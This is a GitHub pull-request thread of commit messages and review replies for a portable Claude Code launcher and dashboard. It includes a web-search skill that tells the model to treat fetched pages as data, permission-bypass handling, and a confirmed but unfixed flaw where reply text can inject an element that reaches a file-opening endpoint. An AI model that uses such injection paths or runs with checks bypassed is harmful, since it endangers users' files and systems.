refresh landed between pressing and releasing the mouse - for example
while a session was still loading - the button the press started on was
destroyed and the browser delivered no click at all, so the trash had to
be pressed twice.

- Skip the write entirely when the generated markup is identical; the
  redundant resetSession()+refreshSessions() pair no longer touches the DOM.
- Defer any re-render requested while a press is held on the list until
  the release, then run it right after the click.
- Delegate row, project-toggle and delete handlers on the list container
  so a rebuilt row can never carry a stale handler or lose one.

Verified in Chromium: a re-render requested during the press no longer
swallows the click, while the previous behaviour (raw innerHTML
replacement during the press) does drop it.

Co-Authored-By: Claude Code <noreply@anthropic.com>
Stamp the changelog as 2.0 and correct the test count in the summary table
(90 -> 106, matching the Tests section).

Co-Authored-By: Claude Code <noreply@anthropic.com>
A session saw only its workspace and its own configuration, so nothing
told the agent that browser automation ships with the drive - it would
have had to stumble over engine/playwright.

- Write a skill to the profile directory
  (skills/portable-playwright/SKILL.md) whenever Playwright is installed.
  Claude Code lists the name and description in the system prompt, so the
  agent knows the capability exists and loads the details only on demand.
- The skill names the absolute CLI and browser paths (a session's working
  directory is usually the user's project), the screenshot invocation,
  script usage, the npx warning and the headless-only limitation.
- Without Playwright nothing is written and a stale copy is removed; a
  skill the user added to the same folder is never touched.
- Verified with a real session: the SDK skills dialog reports
  portable-playwright with source "user".

Tests: 106 -> 110.

Co-Authored-By: Claude Code <noreply@anthropic.com>
Studio
- Paths in replies and tool output become buttons that open with the user's
  application: D:\..., C:/..., UNC paths and file:/// URLs.
- The click goes to the token-protected POST /api/open, which accepts only
  absolute paths that exist and hands them to explorer.exe / open / xdg-open.
  The path is one argument and never goes through a shell.
- A path with spaces is only recognised inside quotes; in running text a
  space is far more often the sentence. Trailing punctuation stays outside.
- Code blocks keep plain text so copying still works. Web links open in a
  new tab and never navigate the studio away.

Terminal
- Claude Code emits OSC 8 hyperlinks only in terminals it recognises.
  Windows Terminal exports WT_SESSION and works automatically; the classic
  console does not, so nothing was clickable there.
- PORTABLE_AI_HYPERLINK=1 / PORTABLE_AI_HYPERLINKS=1 exports FORCE_HYPERLINK
  as an opt-in for other terminals.

Verified in Chromium: paths render as focusable buttons, clicking one opens
the real file, a missing path, a relative path and an empty path are all
refused with a clear error, and web links keep target=_blank.

Tests: 110 -> 120.

Co-Authored-By: Claude Code <noreply@anthropic.com>
Move the entries under [Unreleased] into a dated 2.1 section and bump the
package version to match, so the changelog and the metadata agree.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The rule skipped every CODE element, so the most common way of writing a
path — in backticks — never became a button. Only fenced blocks need that
protection, because their text is meant to be copied.

- Inline code is now treated as one value: the whole span becomes one button
  when it holds exactly one path. Backticks mark the exact value, so a path
  with a space (D:\Apps\Claude Code\x.jpg) stays in one piece instead of
  being cut at the space, which is what the running-text rule would do.
- A span with two paths, or with no path at all, stays plain text.
- Fenced blocks are still skipped, so the Copy button keeps working.
- The button resets its own border, background and margin so it fits inside
  inline code without moving the line.

Verified in Chromium with the reported message: both inline paths render as
buttons with the full value in data-open-path, including the one with
"Claude Code" in the folder name, and the fenced block stays plain.

Tests: 120 -> 122.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The launcher has been writing ctrl+v -> chat:imagePaste into keybindings.json
since the image-paste support landed. The file is correct and is loaded, yet
the shortcut did nothing. The terminal was the cause:

- A terminal that claims Ctrl+V for its own paste handles the key and pastes
  text. Claude Code never sees the keystroke, so no binding can fire.
- The classic console hard-codes that and cannot be reconfigured.
- Windows Terminal does not bind Ctrl+V by itself: its default for paste is
  Ctrl+Shift+V. A ctrl+v entry in settings.json takes the key away again.
- Alt+V works because no terminal claims it.

That is exactly the reported behaviour: text pastes, images do not.

README now carries the table and the exact keybindings entry to remove. With
Ctrl+V unbound the key reaches Claude Code, image paste works, and text paste
moves to Ctrl+Shift+V. The action has no text fallback, which the README says
plainly.

WT.bat starts the studio inside Windows Terminal, where paths are clickable
too because WT_SESSION makes Claude Code emit OSC 8 hyperlinks. Its argument
handling is tested for no argument, resume, a profile name and a two-word
argument; an empty argument gets its own branch so START.bat is not called
with a blank profile name.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The terminal documentation and WT.bat were added on the assumption that
changing the user's Windows Terminal settings was within scope. It was not:
the only thing that belongs in this project is the studio itself, and system
configuration on the machine stays untouched.

- WT.bat is removed.
- The "Clickable paths in the terminal" section is gone from the README.
- PORTABLE_AI_HYPERLINKS is gone from README and lib/providers.mjs, so the
  launcher no longer touches FORCE_HYPERLINK.
- The "Why Ctrl+V pasted text but not images" section is gone from both files.

The studio's clickable paths stay as they were, including the inline-code fix.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The 2.0 changelog said chat:imagePaste "falls back to a normal text paste
when the clipboard holds no image". The binary says otherwise:

  yCe(rc(st())).then(Ct => { if (Ct) c(Ct.base64, …) })

There is no else branch. With no image the key does nothing, and the only
other effect is the feedback "No image found in clipboard."

- README states plainly that there is no text fallback and points text
  pasting at Ctrl+Shift+V or the context menu.
- A Fixed entry under 2.1 records the correction instead of rewriting the
  released 2.0 section, so the published text stays as it was.
- The reg add "HKCU\Console" /v CtrlKeyShortcutsDisabled advice is gone. It
  disables console shortcuts for every console window on the machine, which
  is a system-wide change this project has no business recommending. Windows
  Terminal is left as the one supported way.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The previous commit left the wrong claim standing in the released 2.0 section
and recorded the correction only under 2.1. The section is now fixed where the
mistake is, so a reader of 2.0 sees what actually happens.

- "Without an image the action falls back to a normal text paste" is replaced
  by what the handler does: it attaches nothing and reports "No image found in
  clipboard." There is no text fallback.
- The CtrlKeyShortcutsDisabled mention is gone from 2.0 as well, matching the
  README. That registry value disables console shortcuts for every console
  window on the machine.
- The 2.1 Fixed entry now says the 2.0 entry was corrected in place instead of
  claiming it was left as published.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The file existed to feed the GitHub release notes. Those notes are published
now, and the 2.0 and 2.1 content is fully preserved on the release pages, so
the file no longer earns its place.

- Nothing referenced it: no import, no script, no README link, no check.
- tools/check.mjs and the 122 tests pass without it.
- The deleted text stays reachable in git history if it is ever needed.

Co-Authored-By: Claude Code <noreply@anthropic.com>
The thumbnail was fetched from img.youtube.com and both the picture and the
"watch the video" link pointed at YouTube, so rendering the README contacted
a third party.

- The thumbnail is now docs/images/maxresdefault.jpg, linked to the video.
- The video link targets docs/videos/xPfZyV20_RY.mp4, which GitHub plays in
  its own player, so nothing leaves the repository.
- The original upload URL is kept as plain text for anyone who prefers to
  stream it; plain text is not fetched.

Both files are also copied into the local working folder so the two trees stay
in step and the relative paths resolve there as well.

Co-Authored-By: Claude Code <noreply@anthropic.com>
@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Nov 14, 2026 •

Copy link
Copy Markdown
Codex Review Summary: ✅ Completed

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-11-14T22:46:26.181962Z 36af9ba New commits
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: fffa7d4cf6

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread dashboard/server.mjs Resolved
Comment thread dashboard/links.js Resolved
Comment thread lib/skills.mjs Resolved
Comment thread RESUME.bat Resolved
Comment thread lib/local-session.mjs Resolved
Comment thread lib/local-models.mjs Resolved
Findings from the Codex review on the upstream pull request, five of six
addressed here.

Clickable paths (both from this release, both broke a documented form):
- A file:// URL was turned into a button but POST /api/open passed the URL to
  isAbsolute(), which is false even on Windows, so every such click failed.
  The endpoint now decodes it with fileURLToPath, which also unescapes %20 and
  turns a host into a UNC path.
- C:/Users/x/file.txt never matched: both scanner patterns required backslashes,
  and isFilePath was only consulted after a match. A forward-slash drive pattern
  was added, with a lookbehind so the `s:/` in `https://` is not read as a drive.

Local model stack:
- prepareLocalSession replaced a profile's base URL with the proxy but never
  told the proxy which server to forward to, so a LAN Ollama was silently
  replaced by 127.0.0.1:11434. The profile's host and port now travel with the
  proxy through PORTABLE_OLLAMA_HOST/PORT.
- proxyStatus accepted any 2xx from /health, so an unrelated service on the
  proxy port was adopted and received every prompt. It now requires the proxy's
  JSON shape and, when known, a matching upstream.

Launcher:
- RESUME.bat hard-coded data\settings.json while lib/paths.mjs honours
  PORTABLE_AI_DATA_DIR, so a relocated data folder failed the preflight.

Left open: the skill cleanup in lib/skills.mjs still removes the whole
portable-playwright folder. A user file inside it would be lost; the lower-risk
fix is a separate change.

Tests: 122 -> 128.

Co-Authored-By: Claude Code <noreply@anthropic.com>
@rainman74

Copy link
Copy Markdown
Author

Thanks for the review — five of the six findings are addressed in c6b76b6.

Fixed

  1. file URLs in /api/open (dashboard/server.mjs) — you are right, the button was created but the URL went straight into isAbsolute(), which is false for file:///D:/.... It is now decoded with fileURLToPath before validation, which also unescapes %20 and turns a host into a UNC path. Covered by a test that reaches "does not exist" instead of "not absolute" — the previous failure mode.
  2. Forward-slash drive paths (dashboard/links.js) — confirmed: neither scanner pattern matched, and isFilePath was only consulted after a match. Added a forward-slash pattern with a lookbehind so the s:/ in https:// is not read as a drive. Both documented forms now have a test at the linkifyText level rather than only on isFilePath, which is what let this through.
  3. PORTABLE_AI_DATA_DIR in RESUME.bat — the preflight now derives CONFIG_FILE from the variable, falling back to data.
  4. Custom Ollama endpoints (lib/local-session.mjs) — prepareLocalSession now passes the profile's host and port to the proxy through PORTABLE_OLLAMA_HOST/PORT. A LAN server is no longer replaced by 127.0.0.1:11434.
  5. Proxy health (lib/local-models.mjs) — proxyStatus requires the proxy's JSON shape and a matching upstream when known, so a stranger's 200 is not adopted.

Not fixed

  1. Skill directory cleanup (lib/skills.mjs) — accurate, and the code comment "never anything the user added" is too strong. Left out on purpose: the low-risk fix removes only SKILL.md and keeps the folder when it still holds user files, which changes the cleanup contract and deserves its own review rather than riding along here. Happy to send it separately if you want it.

Tests: 122 → 128. npm run check clean.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: c6b76b6f74

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread lib/local-models.mjs Resolved
Comment thread lib/agent.mjs Resolved
Comment thread RESUME.bat Resolved
Comment thread lib/providers.mjs Resolved
Findings from the second Codex pass on the pull request. Three of four are
addressed; the image-payload limit is deliberately left open.

- An HTTPS Ollama profile was reduced to `http://host:443` by the previous
  commit, so the proxy sent plaintext to a TLS listener and every turn failed.
  The scheme now survives into `PORTABLE_OLLAMA_SECURE`, and the proxy uses
  node:https for it. Covered by a test that talks to a real TLS server.
- `modelPicker` was replaced by a shallow spread, dropping any options the
  profile already had. It is now merged: the managed entry is appended, or
  replaced in place on later starts so the list does not grow.
- RESUME.bat paused unconditionally in its three preflight errors, ignoring
  PORTABLE_AI_NO_PAUSE, which the README documents for this script. Automation
  could hang instead of returning an error.

Not addressed: the 20 MiB adapter limit can reject a turn carrying three 5 MiB
images once base64 and prompt text are added. The right limit depends on how
many images should be allowed at once, which is a product decision rather than
a defect fix.

Tests: 128 -> 131.

Co-Authored-By: Claude Code <noreply@anthropic.com>

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 01b0c7f672

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread tests/backend.test.mjs Resolved
Comment thread lib/permissions.mjs Resolved
Comment thread lib/providers.mjs Resolved
Comment thread lib/providers.mjs Resolved
Comment thread lib/local-models.mjs Resolved
Comment thread lib/local-models.mjs Resolved
rainman74 and others added 2 commits November 14, 2026 17:24
`RESUME.bat --cwd "D:\Projects\my-app\"` failed with "Working directory not
found: D:\Projects\my-app"". Windows hands the argument over with a trailing
quote because the backslash escapes the closing one, and that path can never
exist: Windows forbids `"` in file names. The parser now drops the stray quote
on win32, so the quoted-and-terminated and the plain form both work. POSIX is
left alone - there a file name may legitimately end in `"`, and the artifact
never appears. Also reproduces the failure for the launcher's own
`--cwd "%~dp0"` call, which is why that script now passes `"%~dp0."`.

Version 2.2.0.

Co-Authored-By: Claude Code <noreply@anthropic.com>
… probes

An explicit `--permission-mode` now overrides the stored bypass default
instead of being combined with `--dangerously-skip-permissions`. The
documented `START.bat cli --permission-mode acceptEdits` reached Claude Code
with two contradicting modes and could run unrestricted, so the flag is
treated like `--safe`: it belongs to this launch and no bypass flag is added.
`--unrestricted` alongside it is rejected rather than silently widening the
request.

The managed model picker is withdrawn when a profile no longer qualifies.
Lowering or clearing a 1M context window left the behavesAs entry behind, so
Claude Code kept mapping the ID to the native 1M row and ignored the declared
window. Only an exact model/behavesAs pair is removed; user options survive,
and a container that existed only for our entry disappears with it.

A profile settings file that fails to parse is left untouched. Resetting it to
{} and writing only the managed key discarded every setting that failed to
parse, in a file Claude Code owns.

`ollamaUpstream` strips the brackets from an IPv6 hostname. A URL keeps them
in an authority, but node:http resolves `[::1]` to nothing, so a profile on
`http://[::1]:11434` failed with ENOTFOUND on every turn. The brackets are
preserved where the value is formatted as a URL or a Host header.

`localStatus` requires an actual `models` array before marking Ollama online.
Any other JSON 200 on port 11434 was adopted as Ollama, so the bundled server
was never started and turns went to that listener.

The cross-platform tests no longer assume Windows: the file-URL-with-host case
and the APPDATA redirection are asserted per platform, and the test that
derives bash from a system git.exe is skipped where the host path module
cannot express the Windows layout. On Ubuntu and macOS the suite failed, which
is what the P1 report described.

132 -> 137 test cases, all passing; `npm run check` is clean.

Version 2.2.0.

Co-Authored-By: Claude Code <noreply@anthropic.com>
@rainman74 rainman74 changed the title Release 2.1 — clickable local paths, Playwright skill, and accumulated fixes Release 2.2 — clickable local paths, Playwright skill, and accumulated fixes Nov 14, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 7a58a99b1c

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread dashboard/server.mjs Resolved
Comment thread lib/local-models.mjs Resolved
@rainman74 rainman74 changed the title Release 2.2 — clickable local paths, Playwright skill, and accumulated fixes Portable Claude Code: studio dashboard, standalone resume, multi-provider support ... various changes Nov 14, 2026
@rainman74 rainman74 changed the title Portable Claude Code: studio dashboard, standalone resume, multi-provider support ... various changes Node 26, deletable conversations, stored permission mode ... various changes Nov 14, 2026
Two findings still applied to the current head.

`file:`, `file://` and `file:///` name no path. POSIX fileURLToPath() turns
them into `/`, so the studio's open endpoint passed the filesystem root to the
file manager and the cross-platform assertion expected "Invalid file URL" but
got "That path does not exist". The URL is now rejected before conversion when
its pathname holds nothing.

startProxy() spawned the proxy and then called waitForProxy() without the
requested upstream. When another launch already held PORTABLE_PROXY_PORT for a
different Ollama server, the new child died on EADDRINUSE and the poll adopted
the stranger's healthy proxy, so this profile's prompts went to the other
endpoint. The poll now checks the expected upstream and stops as soon as the
child exits. waitForProxy is exported for that test and accepts the status
probe, so the case is covered without spawning a process.

137 -> 138 test cases, all passing; `npm run check` is clean.

Co-Authored-By: Claude Code <noreply@anthropic.com>
@rainman74

Copy link
Copy Markdown
Author

All review threads are resolved.

Six findings were already fixed in 7a58a99 (permission mode, model picker, malformed profile settings, IPv6 upstream, Ollama identity check, cross-platform test guards). The two that still applied to that head are fixed in 3055e56:

  • Empty file URLs — file:, file:// and file:/// are rejected before fileURLToPath(). On POSIX those decode to /, so the studio would have opened the filesystem root and the cross-platform assertion failed.
  • Proxy readiness after a bind collision — waitForProxy() now verifies the upstream the profile requested and stops as soon as the spawned child exits. A proxy another launch started for a different Ollama server is no longer adopted.

137 → 138 test cases, all passing; npm run check is clean.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 3055e56af0

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread lib/local-session.mjs Resolved
Comment thread lib/playwright.mjs Resolved
Two findings from the review of 3055e56.

A terminal session is its own process, so "I started this" lived in module
state. When two sessions used the same Ollama profile, the second adopted the
running server and proxy, and the first to exit stopped both - the second then
talked to a dead proxy. A small registry in data/run/local-consumers.json now
tracks which live processes use a role and which child process serves it. A
session releases its claim on exit and only the last live consumer stops the
process; the recorded child pid lets the last consumer stop a process whose
spawning session already exited. Dead pids are pruned, so a killed terminal
cannot keep the processes alive forever, and the record is dropped with the
last consumer so a reused pid never becomes a kill target.

playwrightStatus() treated any directory named chromium* as the installed
browser. An interrupted upgrade leaves the pinned package next to the previous
browser build, so the installation was reported ready, ensurePlaywright()
skipped the repair and every launch failed. Readiness now compares against the
revisions in playwright-core/browsers.json; an unreadable browsers.json falls
back to the loose check so an unknown layout never triggers a re-download.

138 -> 141 test cases, all passing; `npm run check` is clean.

Co-Authored-By: Claude Code <noreply@anthropic.com>
@rainman74

Copy link
Copy Markdown
Author

Both findings from the review of 3055e56 were real and are fixed in a53a5b8.

Shared Ollama processes — a terminal session is its own OS process, so "I started this" lived in module state and the first session to exit stopped the server and proxy a second session was still using. data/run/local-consumers.json now records the live consumers of each role and the child process serving it. A session releases its claim on exit; only the last live consumer stops the process, and the recorded child pid covers a spawning session that already exited. Dead pids are pruned and the record is dropped with the last consumer, so a reused pid never becomes a kill target. Verified across two real processes: the first release reports one remaining consumer and keeps the pid, the second reports zero and stops it.

Chromium revision — playwrightStatus() accepted any chromium* directory, so an interrupted upgrade that left the previous build next to the pinned package was reported ready and every launch failed. Readiness now compares the installed builds against the revisions in playwright-core/browsers.json, falling back to the loose check when that file is unreadable so an unknown layout never triggers a re-download.

138 → 141 test cases, all passing; npm run check is clean.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: a53a5b856a

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread dashboard/app.js Resolved
Comment thread lib/local-models.mjs Resolved
Comment thread lib/local-models.mjs Resolved
Comment thread lib/resume.mjs Resolved
Comment thread dashboard/server.mjs Resolved
rainman74 and others added 3 commits November 14, 2026 20:03
Finding 5 of the previous round was not a defect: the URL parser normalises a
`localhost` host on a file: URL to an empty string, so the empty-path guard
already covered `file://localhost/`. It is still simplified to reject an empty
path regardless of host, because keying on the host was the kind of detail the
guard should not depend on.

The other four are fixed:

- The studio's permission picker was documented as a single-turn override, but
  the chosen mode stayed in `state.permissionMode` and every later run attached
  the UNRESTRICTED confirmation. The choice now ends with the accepted turn. A
  request the server rejected never consumed it, and a mode picked while the
  turn was running is kept for the next turn - including a re-pick of the same
  mode, which a value comparison alone could not tell from "nothing picked".

- `proxyStatus()` only compared upstreams when the answer contained one, so a
  foreign listener returning `{ok:true}` was adopted as the speed proxy. An
  expected upstream must now match exactly.

- The local-consumer registry serialises read/modify/write with a lock file.
  Breaking a stale lock verifies the file identity instead of unlinking by path,
  which would have let two waiters delete each other's fresh lock; a lock whose
  owner is still alive is waited for, not stolen. Stopping a shared process now
  happens inside the lock, so no session can register between the decision and
  the kill. A serving process that exits is removed from the registry, so a
  reused pid never becomes a kill target, and a child that loses the bind no
  longer overwrites the pid of a healthy proxy.

- `providerEnvironment()` prepends the running interpreter's directory to PATH,
  which RESUME.bat and resume.sh never exported: shell commands in a resumed
  session could not find `node` on a host without a system installation. The
  path is rebuilt from its sources so Git's directories stay ahead of the host
  PATH, and the Windows case-variant keys (`Path` and `PATH`) collapse into one.

141 -> 149 test cases, all passing; `npm run check` is clean.

Co-Authored-By: Claude Code <noreply@anthropic.com>
…et to its turn

Four findings from the review of 35c6fc3, all reproduced before fixing.

The lock honours a live owner without any age limit, and the `since` field was
never read. A lock whose unlink failed, or whose pid was reused after a crash,
therefore stayed forever with a live pid: every registry call paid the full
timeout and then ran unserialised, which re-opens the lost update the lock
exists to prevent. Age is now taken from the owner record as well as the mtime,
a live owner is trusted only for maxAgeMs, and the lock carries a token so the
`finally` cannot delete a later lock held by the same process. Restoring a lock
that was taken in between uses COPYFILE_EXCL instead of a blind rename, so a
live owner is never evicted.

startProxy() and startLocal() treated health as proof of their own child. When
two launches race for the port, the loser exits on EADDRINUSE while the winner
answers health for the same upstream, so the loser recorded its dead child as
the owner and the healthy process lost its record - it then survived every
session as an orphan. Only a still-running child of ours is recorded now; a
child that lost the race registers as a plain consumer and the session uses the
winner's process without claiming it. startLocal also waits for the server to
answer before returning, instead of reporting success right after spawn.

The composer's reset tracked "picked during a run" in a boolean, but a
reconnected turn ends without running the composer's reset, so the flag
survived and a one-off Unrestricted choice covered two turns. The picker now
records the generation of the turn it was chosen during, so a choice made for
an earlier turn is reset by the next turn's end, and the marker cannot cross
into another session.

The two new lock tests passed under the very regressions they are named for: a
lock that is only waited out still writes the registry within the timeout, and
"the lock is gone" also describes a stolen lock. They now assert durations well
under the timeout and that a live lock still names its owner, and a new test
covers the bind race. Each was mutation-checked: breaking the corresponding
guard makes exactly that test fail.

149 -> 151 test cases, all passing; `npm run check` is clean.

Co-Authored-By: Claude Code <noreply@anthropic.com>
Two findings from the review of dfa5270, both reproduced.

A child that is still alive is not proof that it owns the port. In a bind race
the loser has not reached bind() while the winner already answers, so it claimed
ownership, overwrote the winner's pid and - when it died a moment later - cleared
that record. The shared process then had no owner and survived every session as
an orphan. The proxy now names its pid in /health, so a matching child owns the
listener and a different pid is adopted without being claimed. Ollama names no
pid, so a child has to outlive a short grace window while the port answers; a
child that lost the bind dies inside it.

The exit of our own child no longer ends the wait either. The winner may take a
moment to answer - cold start, USB, antivirus - and giving up there left the
session unregistered, so the last consumer would stop the shared server under a
running session. Only a window without any answer after the child died gives up.

A failed spawn now reaches the caller as the real error instead of falling
through to "did not answer" after a pointless poll.

The tests cover what earlier rounds left open: the claim path records its own
child for both roles, the adopting path still counts as a consumer, a live child
that is not the listener is not recorded, a winner that answers after our child
died is adopted, and the dead-owner lock branch is distinguished from the live
one by an age between the two thresholds. Each was mutation-checked.

151 -> 152 test cases, all passing; `npm run check` is clean.

Co-Authored-By: Claude Code <noreply@anthropic.com>
@rainman74

Copy link
Copy Markdown
Author

All five findings are fixed in 7857373. Four were real; the fifth could not be triggered, but the guard was hardened anyway.

  • Unrestricted stayed on — the composer now applies the mode to exactly one turn and returns to the stored mode. A send the server rejected does not consume the choice, and a mode picked while a turn runs is keyed to that turn, so a reconnect cannot carry it into a second turn.
  • Proxy health without an upstream field — an expected upstream must now match exactly. A foreign listener answering {ok:true} is no longer adopted.
  • Registry without a lock — read/modify/write is serialised with a lock file. Stale-breaking verifies the file identity instead of unlinking by path (two waiters could delete each other's fresh lock), a live owner is honoured for a bounded age, and the stop decision runs inside the lock. Concurrent registration is covered by a test with eight real processes.
  • Portable Node missing from a resumed PATH — the running interpreter's directory is prepended for every entry point. The path is rebuilt from its sources, so Git's directories stay ahead of the host PATH and the Windows Path/PATH variants collapse into one.
  • file://localhost/ — the URL parser normalises a localhost host on a file: URL to an empty string, so the guard already rejected it; file://127.0.0.1/ fails fileURLToPath on POSIX. I could not reach the filesystem root. The guard no longer keys on the hostname, so it cannot depend on that detail.

Two further defects found by my own review of the fix are also in this head: a child that had not reached bind() yet could claim ownership of the winner's process, and the readiness poll gave up when our child exited before the winner answered. Ownership now comes from the pid the proxy reports in /health, and the exit of our child no longer ends the wait.

141 → 152 test cases, all passing; npm run check is clean. The new tests were mutation-checked: breaking each guard makes exactly the corresponding test fail.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 7857373eaf

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread RESUME.bat Resolved
Comment thread dashboard/server.mjs Resolved
@rainman74

Copy link
Copy Markdown
Author

Both threads are closed without a code change. Neither is a scenario this build needs to support.

  • Delayed expansion in RESUME.bat — a drive or folder named like C:\AI!Lab!\project is not a
    realistic install location, and the script's own variables do not need !var! expansion either way.
  • A legacy chat file with a UUID basename — legacy chats come from the old data/chats layout, and
    none of them are named like a session ID. Routing by ID shape is fine for that set.

Nothing else changed: the head is still 7857373, 152 tests pass, npm run check is clean.

rainman74 and others added 2 commits November 14, 2026 23:36
…side

`WebSearch` runs inside the Anthropic API. Every other provider configured here
answers it with "400 Server tool web_search_20250305 is unsupported by this
provider" - the local adapter rejects the server-tool block outright, and the
OpenAI Chat Completions API it forwards to has no equivalent.

`WebFetch` is client-side and works with every provider, so a search engine is
just a URL. A new skill tells the session which URLs answer: Bing for a query,
the Google News feed for headlines, and why DuckDuckGo's HTML endpoint is not
used (it serves a bot check). It also tells the model to treat fetched text as
data rather than instructions.

The skill is written next to the Playwright one in the profile directory, so it
is discovered by the same mechanism and reaches the launcher, resume and the
studio through providerEnvironment. It is on by default and stored as
preferences.webSearch, so an update never switches it back on after it was
turned off: `START.bat websearch off` (or menu option 9) removes the file,
`on` writes it again. Only this project's own skill is ever removed.

providerEnvironment takes the preferences instead of reading them, because
config.mjs imports providers.mjs and the other direction would make the three
modules a cycle; setWebSearch imports config.mjs lazily for the same reason.

Verified end to end on the DeepSeek endpoint: a real session listed
portable-websearch among its skills, used it, fetched Bing and the news feed,
and reported source plus timestamp - and named the pages that blocked the fetch
instead of inventing content.

152 -> 159 test cases, all passing; `npm run check` is clean.

Co-Authored-By: Claude Code <noreply@anthropic.com>
2.2 stays where it is: the review rounds that followed it added behaviour, not
just fixes, so the web-search skill gets its own release instead of moving a
tag that has already been downloaded.

Co-Authored-By: Claude Code <noreply@anthropic.com>
@rainman74

Copy link
Copy Markdown
Author

Release 2.3 is tagged as 36af9ba, which is the head of this branch. Everything from the review rounds after 2.2 is included, plus the web-search skill:

  • Search without the server-side tool. WebSearch runs inside the Anthropic API and every other provider rejects it with 400 Server tool web_search_20250305 is unsupported by this provider. The session now gets a skill that uses WebFetch — client-side, provider-agnostic — against Bing and the Google News feed. Verified in a real session on the DeepSeek endpoint: the skill was listed, used, and reported a headline with source and timestamp.
  • On by default, off on purpose. START.bat websearch on|off|status (menu option 9), stored as preferences.webSearch, so an update never turns it back on after it was switched off.

152 → 159 test cases for this release, 131 → 159 from the 2.0 baseline. All passing; npm run check is clean.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 36af9ba510

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread dashboard/links.js Resolved
Comment thread lib/local-models.mjs Resolved
@rainman74

Copy link
Copy Markdown
Author

Both findings from the review of 36af9ba are acknowledged and resolved, with no code change in this PR.

  • dashboard/links.js - confirmed: the inline-code fallback hands unescaped text to template.innerHTML after DOMPurify has run, so a reply can inject a live element that the delegated handler forwards to /api/open.
  • lib/local-models.mjs - confirmed: the lock-timeout path calls run() without owning the lock. That is a deliberate trade-off (skipping the callback would drop the registration and let the survivor stop a shared server), but concurrent callbacks can indeed lose an update.

Both are left as follow-up work rather than folded into this branch. Head remains 36af9ba and the diff is unchanged.

